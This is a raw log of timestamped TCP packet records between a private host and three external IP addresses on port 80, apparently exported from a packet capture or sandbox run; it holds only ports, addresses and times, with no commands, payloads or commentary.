Dec 27, 2024 08:45:31.681411982 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:31.681523085 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:31.681565046 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:31.682115078 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:31.682244062 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:31.682286024 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:31.682837009 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:31.682957888 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:31.683564901 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:31.683617115 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:31.683648109 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:31.683689117 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:31.697156906 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:31.697273970 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:31.697334051 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:31.697455883 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:31.697913885 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:31.698179960 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:31.698225975 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:31.698290110 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:31.698322058 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:31.698892117 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:31.699191093 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:31.699628115 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:31.699666023 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:31.699707031 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:31.699743032 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:31.700345993 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:31.700409889 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:31.701078892 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:31.701121092 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:31.701143026 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:31.701179028 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:31.727694988 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:31.727812052 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:31.727899075 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:31.728069067 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:31.728338957 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:31.728760004 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:31.728802919 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:31.728811979 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:31.728844881 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:31.729480982 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:31.729576111 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:31.730211973 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:31.730268955 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:31.730277061 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:31.730310917 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:31.730901003 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:31.731014013 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:31.731612921 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:31.731664896 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:31.731707096 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:31.731740952 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:31.732364893 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:31.732501984 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:31.733057976 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:31.733114004 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:31.733150005 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:31.733187914 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:31.733767986 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:31.733912945 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:31.734488964 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:31.734539032 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:31.734605074 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:31.734647989 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:31.735192060 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:31.735340118 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:31.735905886 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:31.735966921 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:31.735981941 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:31.736021042 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:31.736605883 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:31.787782907 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:31.804179907 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:31.804255962 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:31.804322004 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:31.804518938 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:31.804661036 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:31.804714918 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:31.805205107 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:31.805294037 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:31.805931091 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:31.805982113 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:31.806003094 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:31.806046963 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:31.806652069 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:31.806874990 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:31.807298899 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:31.807348013 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:31.807440042 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:31.807481050 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:31.808048010 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:31.808132887 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:31.808743954 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:31.808792114 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:31.809315920 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:31.809365034 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:31.809488058 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:31.809587955 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:31.810157061 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:31.810214996 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:31.810231924 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:31.810276985 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:31.810863018 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:31.810971975 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:31.811022043 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:31.811578989 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:31.812170029 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:31.812325954 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:31.812397003 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:31.812408924 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:31.812460899 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:31.813085079 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:31.813199997 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:31.813246965 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:31.813780069 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:31.813886881 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:31.814474106 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:31.814536095 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:31.814690113 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:31.814732075 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:31.815193892 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:31.815256119 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:31.818291903 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:31.858535051 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:31.858608961 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:31.858678102 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:31.858843088 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:31.912719965 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:31.999728918 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:46:04.261198997 CET	49783	80	192.168.2.4	185.215.113.43
Dec 27, 2024 08:46:04.380660057 CET	80	49783	185.215.113.43	192.168.2.4
Dec 27, 2024 08:46:04.381372929 CET	49783	80	192.168.2.4	185.215.113.43
Dec 27, 2024 08:46:04.381948948 CET	49783	80	192.168.2.4	185.215.113.43
Dec 27, 2024 08:46:04.501353979 CET	80	49783	185.215.113.43	192.168.2.4
Dec 27, 2024 08:46:05.758505106 CET	80	49783	185.215.113.43	192.168.2.4
Dec 27, 2024 08:46:05.760499001 CET	49783	80	192.168.2.4	185.215.113.43
Dec 27, 2024 08:46:07.277848005 CET	49783	80	192.168.2.4	185.215.113.43
Dec 27, 2024 08:46:07.278160095 CET	49789	80	192.168.2.4	185.215.113.43
Dec 27, 2024 08:46:07.397650003 CET	80	49789	185.215.113.43	192.168.2.4
Dec 27, 2024 08:46:07.397667885 CET	80	49783	185.215.113.43	192.168.2.4
Dec 27, 2024 08:46:07.397720098 CET	49789	80	192.168.2.4	185.215.113.43
Dec 27, 2024 08:46:07.397751093 CET	49783	80	192.168.2.4	185.215.113.43
Dec 27, 2024 08:46:07.397975922 CET	49789	80	192.168.2.4	185.215.113.43
Dec 27, 2024 08:46:07.517390013 CET	80	49789	185.215.113.43	192.168.2.4
Dec 27, 2024 08:46:08.782200098 CET	80	49789	185.215.113.43	192.168.2.4
Dec 27, 2024 08:46:08.782311916 CET	49789	80	192.168.2.4	185.215.113.43
Dec 27, 2024 08:46:10.413968086 CET	49789	80	192.168.2.4	185.215.113.43
Dec 27, 2024 08:46:10.414258957 CET	49800	80	192.168.2.4	185.215.113.43
Dec 27, 2024 08:46:10.533746004 CET	80	49800	185.215.113.43	192.168.2.4
Dec 27, 2024 08:46:10.533817053 CET	49800	80	192.168.2.4	185.215.113.43
Dec 27, 2024 08:46:10.533883095 CET	80	49789	185.215.113.43	192.168.2.4
Dec 27, 2024 08:46:10.533926964 CET	49789	80	192.168.2.4	185.215.113.43
Dec 27, 2024 08:46:10.534112930 CET	49800	80	192.168.2.4	185.215.113.43
Dec 27, 2024 08:46:10.653513908 CET	80	49800	185.215.113.43	192.168.2.4
Dec 27, 2024 08:46:11.968027115 CET	80	49800	185.215.113.43	192.168.2.4
Dec 27, 2024 08:46:11.968089104 CET	49800	80	192.168.2.4	185.215.113.43
Dec 27, 2024 08:46:13.482918024 CET	49800	80	192.168.2.4	185.215.113.43
Dec 27, 2024 08:46:13.483237982 CET	49806	80	192.168.2.4	185.215.113.43
Dec 27, 2024 08:46:13.602652073 CET	80	49800	185.215.113.43	192.168.2.4
Dec 27, 2024 08:46:13.602751970 CET	80	49806	185.215.113.43	192.168.2.4
Dec 27, 2024 08:46:13.602861881 CET	49800	80	192.168.2.4	185.215.113.43
Dec 27, 2024 08:46:13.602905035 CET	49806	80	192.168.2.4	185.215.113.43
Dec 27, 2024 08:46:13.603100061 CET	49806	80	192.168.2.4	185.215.113.43
Dec 27, 2024 08:46:13.722518921 CET	80	49806	185.215.113.43	192.168.2.4
Dec 27, 2024 08:46:15.048968077 CET	80	49806	185.215.113.43	192.168.2.4
Dec 27, 2024 08:46:15.049051046 CET	49806	80	192.168.2.4	185.215.113.43
Dec 27, 2024 08:46:16.682718992 CET	49806	80	192.168.2.4	185.215.113.43
Dec 27, 2024 08:46:16.683326960 CET	49815	80	192.168.2.4	185.215.113.43
Dec 27, 2024 08:46:16.802668095 CET	80	49806	185.215.113.43	192.168.2.4
Dec 27, 2024 08:46:16.802737951 CET	49806	80	192.168.2.4	185.215.113.43
Dec 27, 2024 08:46:16.802803040 CET	80	49815	185.215.113.43	192.168.2.4
Dec 27, 2024 08:46:16.802855968 CET	49815	80	192.168.2.4	185.215.113.43
Dec 27, 2024 08:46:16.803716898 CET	49815	80	192.168.2.4	185.215.113.43
Dec 27, 2024 08:46:16.923192978 CET	80	49815	185.215.113.43	192.168.2.4
Dec 27, 2024 08:46:18.226769924 CET	80	49815	185.215.113.43	192.168.2.4
Dec 27, 2024 08:46:18.227119923 CET	49815	80	192.168.2.4	185.215.113.43
Dec 27, 2024 08:46:19.784419060 CET	49815	80	192.168.2.4	185.215.113.43
Dec 27, 2024 08:46:19.785001993 CET	49823	80	192.168.2.4	185.215.113.43
Dec 27, 2024 08:46:19.905699968 CET	80	49815	185.215.113.43	192.168.2.4
Dec 27, 2024 08:46:19.905755997 CET	49815	80	192.168.2.4	185.215.113.43
Dec 27, 2024 08:46:19.905874968 CET	80	49823	185.215.113.43	192.168.2.4
Dec 27, 2024 08:46:19.905949116 CET	49823	80	192.168.2.4	185.215.113.43
Dec 27, 2024 08:46:19.906183004 CET	49823	80	192.168.2.4	185.215.113.43
Dec 27, 2024 08:46:20.025612116 CET	80	49823	185.215.113.43	192.168.2.4
Dec 27, 2024 08:46:21.354167938 CET	80	49823	185.215.113.43	192.168.2.4
Dec 27, 2024 08:46:21.354641914 CET	49823	80	192.168.2.4	185.215.113.43
Dec 27, 2024 08:46:22.976074934 CET	49823	80	192.168.2.4	185.215.113.43
Dec 27, 2024 08:46:22.976284981 CET	49828	80	192.168.2.4	185.215.113.43
Dec 27, 2024 08:46:23.095828056 CET	80	49828	185.215.113.43	192.168.2.4
Dec 27, 2024 08:46:23.095885992 CET	80	49823	185.215.113.43	192.168.2.4
Dec 27, 2024 08:46:23.095930099 CET	49828	80	192.168.2.4	185.215.113.43
Dec 27, 2024 08:46:23.095954895 CET	49823	80	192.168.2.4	185.215.113.43
Dec 27, 2024 08:46:23.096126080 CET	49828	80	192.168.2.4	185.215.113.43
Dec 27, 2024 08:46:23.215573072 CET	80	49828	185.215.113.43	192.168.2.4
Dec 27, 2024 08:46:24.482971907 CET	80	49828	185.215.113.43	192.168.2.4
Dec 27, 2024 08:46:24.484590054 CET	49828	80	192.168.2.4	185.215.113.43
Dec 27, 2024 08:46:25.991487026 CET	49828	80	192.168.2.4	185.215.113.43
Dec 27, 2024 08:46:25.991794109 CET	49838	80	192.168.2.4	185.215.113.43
Dec 27, 2024 08:46:26.111218929 CET	80	49828	185.215.113.43	192.168.2.4
Dec 27, 2024 08:46:26.111251116 CET	80	49838	185.215.113.43	192.168.2.4
Dec 27, 2024 08:46:26.111320019 CET	49828	80	192.168.2.4	185.215.113.43
Dec 27, 2024 08:46:26.111378908 CET	49838	80	192.168.2.4	185.215.113.43
Dec 27, 2024 08:46:26.111634016 CET	49838	80	192.168.2.4	185.215.113.43
Dec 27, 2024 08:46:26.231080055 CET	80	49838	185.215.113.43	192.168.2.4
Dec 27, 2024 08:46:27.497795105 CET	80	49838	185.215.113.43	192.168.2.4
Dec 27, 2024 08:46:27.497931004 CET	49838	80	192.168.2.4	185.215.113.43
Dec 27, 2024 08:46:27.501698971 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:27.621279955 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:27.621364117 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:27.621531010 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:27.741133928 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:29.127779961 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:29.127801895 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:29.127883911 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:29.127939939 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:29.127990961 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:29.127995014 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:29.128010035 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:29.128034115 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:29.128053904 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:29.128055096 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:29.128076077 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:29.128087997 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:29.128089905 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:29.128102064 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:29.128112078 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:29.128117085 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:29.128127098 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:29.128154039 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:29.247538090 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:29.247570992 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:29.247654915 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:29.247693062 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:29.251750946 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:29.251791954 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:29.251815081 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:29.251857996 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:29.329304934 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:29.329385996 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:29.329492092 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:29.333439112 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:29.333532095 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:29.333554983 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:29.333599091 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:29.341964960 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:29.342050076 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:29.342150927 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:29.350229025 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:29.350332975 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:29.350379944 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:29.350439072 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:29.358642101 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:29.358750105 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:29.358814001 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:29.358858109 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:29.366997957 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:29.367067099 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:29.367111921 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:29.367157936 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:29.375461102 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:29.375526905 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:29.375590086 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:29.375647068 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:29.383852005 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:29.383900881 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:29.383991957 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:29.384025097 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:29.392225027 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:29.392266035 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:29.392369986 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:29.400392056 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:29.400412083 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:29.400516987 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:29.406598091 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:29.406672955 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:29.406714916 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:29.406763077 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:29.413840055 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:29.413891077 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:29.413944960 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:29.413971901 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:29.530594110 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:29.530616045 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:29.530704975 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:29.533066034 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:29.533118010 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:29.533123970 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:29.533166885 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:29.538005114 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:29.538059950 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:29.538141012 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:29.538177967 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:29.542846918 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:29.542910099 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:29.542931080 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:29.542973995 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:29.547777891 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:29.547837973 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:29.547894955 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:29.547934055 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:29.552556038 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:29.552613974 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:29.552649975 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:29.552691936 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:29.557256937 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:29.557322025 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:29.557369947 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:29.557410955 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:29.562036991 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:29.562103987 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:29.562134027 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:29.562172890 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:29.566886902 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:29.566972971 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:29.566992998 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:29.567008018 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:29.571486950 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:29.571512938 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:29.571544886 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:29.571564913 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:29.576189041 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:29.576246023 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:29.576347113 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:29.576390028 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:29.581027031 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:29.581079960 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:29.581095934 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:29.581135988 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:29.585683107 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:29.585737944 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:29.585750103 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:29.585787058 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:29.590440035 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:29.590486050 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:29.590507984 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:29.590533972 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:29.595170975 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:29.595216990 CET	80	49839	31.41.244.11	192.168.2.4
